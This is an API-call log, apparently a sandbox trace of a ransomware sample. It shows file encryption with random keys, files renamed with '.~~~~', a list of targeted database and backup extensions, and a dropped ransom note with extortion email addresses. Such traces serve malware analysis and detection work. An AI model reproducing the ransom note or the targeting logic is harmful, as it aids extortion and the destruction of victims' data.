	[0084.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.763] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.764] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.764] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.765] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20475481990) returned 1
	[0084.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c5c49f0, dwHighDateTime=0x1d60e1e)) 
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841aa8
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841aa8 | out: hHeap=0x300000) returned 1
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7258
	[0084.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0084.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.766] GetLastError () returned 0x0
	[0084.766] GetLastError () returned 0x0
	[0084.766] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.766] GetLastError () returned 0x0
	[0084.766] GetLastError () returned 0x0
	[0084.769] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff50ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.769] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xaf32, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xaf32, lpOverlapped=0x0) returned 1
	[0084.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.772] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.772] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.772] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.772] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.772] CloseHandle (hObject=0x128) returned 1
	[0084.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.772] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.~~~~")) returned 1
	[0084.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.773] GetLastError () returned 0x0
	[0084.773] RtlWakeConditionVariable () returned 0x365f70
	[0084.773] GetCurrentThreadId () returned 0x9cc
	[0084.773] GetCurrentThreadId () returned 0x9cc
	[0084.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0084.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ef8 | out: hHeap=0x300000) returned 1
	[0084.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6928
	[0084.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0084.774] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.774] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.775] CloseHandle (hObject=0x128) returned 1
	[0084.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0084.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0084.776] RtlWakeConditionVariable () returned 0x365f70
	[0084.776] GetCurrentThreadId () returned 0x9cc
	[0084.776] GetCurrentThreadId () returned 0x9cc
	[0084.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3740 | out: hHeap=0x300000) returned 1
	[0084.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa160 | out: hHeap=0x300000) returned 1
	[0084.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0084.776] lstrlenW (lpString=".scr") returned 4
	[0084.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".scr") returned 0x0
	[0084.776] lstrlenW (lpString=".cmd") returned 4
	[0084.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".cmd") returned 0x0
	[0084.776] lstrlenW (lpString=".dll") returned 4
	[0084.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dll") returned 0x0
	[0084.776] lstrlenW (lpString=".bat") returned 4
	[0084.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".bat") returned 0x0
	[0084.776] lstrlenW (lpString=".cpl") returned 4
	[0084.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".cpl") returned 0x0
	[0084.776] lstrlenW (lpString=".sys") returned 4
	[0084.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".sys") returned 0x0
	[0084.776] lstrlenW (lpString=".msc") returned 4
	[0084.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".msc") returned 0x0
	[0084.776] lstrlenW (lpString=".com") returned 4
	[0084.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".com") returned 0x0
	[0084.777] lstrlenW (lpString=".lnk") returned 4
	[0084.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".lnk") returned 0x0
	[0084.777] lstrlenW (lpString=".msp") returned 4
	[0084.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".msp") returned 0x0
	[0084.777] lstrlenW (lpString=".pif") returned 4
	[0084.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".pif") returned 0x0
	[0084.777] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0084.778] lstrlenW (lpString=".sqb") returned 4
	[0084.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".sqb") returned 0x0
	[0084.778] lstrlenW (lpString=".ost") returned 4
	[0084.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".ost") returned 0x0
	[0084.778] lstrlenW (lpString=".txt") returned 4
	[0084.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".txt") returned 0x0
	[0084.778] lstrlenW (lpString=".mdt") returned 4
	[0084.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".mdt") returned 0x0
	[0084.778] lstrlenW (lpString=".BDB") returned 4
	[0084.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".BDB") returned 0x0
	[0084.779] lstrlenW (lpString=".eql") returned 4
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".eql") returned 0x0
	[0084.779] lstrlenW (lpString=".DBF") returned 4
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DBF") returned 0x0
	[0084.779] lstrlenW (lpString=".EQL") returned 4
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".EQL") returned 0x0
	[0084.779] lstrlenW (lpString=".FDB") returned 4
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".FDB") returned 0x0
	[0084.779] lstrlenW (lpString=".EDB") returned 4
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".EDB") returned 0x0
	[0084.779] lstrlenW (lpString=".DACPAC") returned 7
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.779] lstrlenW (lpString=".VHD") returned 4
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".VHD") returned 0x0
	[0084.779] lstrlenW (lpString=".DBV") returned 4
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DBV") returned 0x0
	[0084.779] lstrlenW (lpString=".dacpac") returned 7
	[0084.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dacpac") returned 0x0
	[0084.780] lstrlenW (lpString=".sdf") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".sdf") returned 0x0
	[0084.780] lstrlenW (lpString=".accdb") returned 6
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".accdb") returned 0x0
	[0084.780] lstrlenW (lpString=".DBX") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DBX") returned 0x0
	[0084.780] lstrlenW (lpString=".MDT") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".MDT") returned 0x0
	[0084.780] lstrlenW (lpString=".SQB") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".SQB") returned 0x0
	[0084.780] lstrlenW (lpString=".vhd") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".vhd") returned 0x0
	[0084.780] lstrlenW (lpString=".bac") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".bac") returned 0x0
	[0084.780] lstrlenW (lpString=".mdf") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".mdf") returned 0x0
	[0084.780] lstrlenW (lpString=".BAK") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".BAK") returned 0x0
	[0084.780] lstrlenW (lpString=".BAC") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".BAC") returned 0x0
	[0084.780] lstrlenW (lpString=".dbs") returned 4
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dbs") returned 0x0
	[0084.780] lstrlenW (lpString=".vhdx") returned 5
	[0084.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".vhdx") returned 0x0
	[0084.780] lstrlenW (lpString=".NDF") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".NDF") returned 0x0
	[0084.781] lstrlenW (lpString=".dat") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dat") returned 0x0
	[0084.781] lstrlenW (lpString=".DBS") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DBS") returned 0x0
	[0084.781] lstrlenW (lpString=".CKP") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".CKP") returned 0x0
	[0084.781] lstrlenW (lpString=".edb") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".edb") returned 0x0
	[0084.781] lstrlenW (lpString=".PST") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".PST") returned 0x0
	[0084.781] lstrlenW (lpString=".dbf") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dbf") returned 0x0
	[0084.781] lstrlenW (lpString=".SQL") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".SQL") returned 0x0
	[0084.781] lstrlenW (lpString=".pst") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".pst") returned 0x0
	[0084.781] lstrlenW (lpString=".dbv") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dbv") returned 0x0
	[0084.781] lstrlenW (lpString=".SDF") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".SDF") returned 0x0
	[0084.781] lstrlenW (lpString=".dtxs") returned 5
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dtxs") returned 0x0
	[0084.781] lstrlenW (lpString=".db3") returned 4
	[0084.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".db3") returned 0x0
	[0084.781] lstrlenW (lpString=".OST") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".OST") returned 0x0
	[0084.782] lstrlenW (lpString=".dbx") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dbx") returned 0x0
	[0084.782] lstrlenW (lpString=".DB3") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DB3") returned 0x0
	[0084.782] lstrlenW (lpString=".DAT") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DAT") returned 0x0
	[0084.782] lstrlenW (lpString=".VHDX") returned 5
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".VHDX") returned 0x0
	[0084.782] lstrlenW (lpString=".ndf") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".ndf") returned 0x0
	[0084.782] lstrlenW (lpString=".DB") returned 3
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DB") returned 0x0
	[0084.782] lstrlenW (lpString=".sql") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".sql") returned 0x0
	[0084.782] lstrlenW (lpString=".MYD") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".MYD") returned 0x0
	[0084.782] lstrlenW (lpString=".DBT") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DBT") returned 0x0
	[0084.782] lstrlenW (lpString=".ACCDB") returned 6
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.782] lstrlenW (lpString=".fdb") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".fdb") returned 0x0
	[0084.782] lstrlenW (lpString=".bak") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".bak") returned 0x0
	[0084.782] lstrlenW (lpString=".myd") returned 4
	[0084.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".myd") returned 0x0
	[0084.783] lstrlenW (lpString=".DTXS") returned 5
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".DTXS") returned 0x0
	[0084.783] lstrlenW (lpString=".ckp") returned 4
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".ckp") returned 0x0
	[0084.783] lstrlenW (lpString=".dbt") returned 4
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".dbt") returned 0x0
	[0084.783] lstrlenW (lpString=".db") returned 3
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".db") returned 0x0
	[0084.783] lstrlenW (lpString=".TXT") returned 4
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".TXT") returned 0x0
	[0084.783] lstrlenW (lpString=".MDF") returned 4
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".MDF") returned 0x0
	[0084.783] lstrlenW (lpString=".bdb") returned 4
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".bdb") returned 0x0
	[0084.783] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.783] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.784] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.784] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.785] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20477472302) returned 1
	[0084.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c5eab50, dwHighDateTime=0x1d60e1e)) 
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa160
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa160 | out: hHeap=0x300000) returned 1
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4af0
	[0084.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
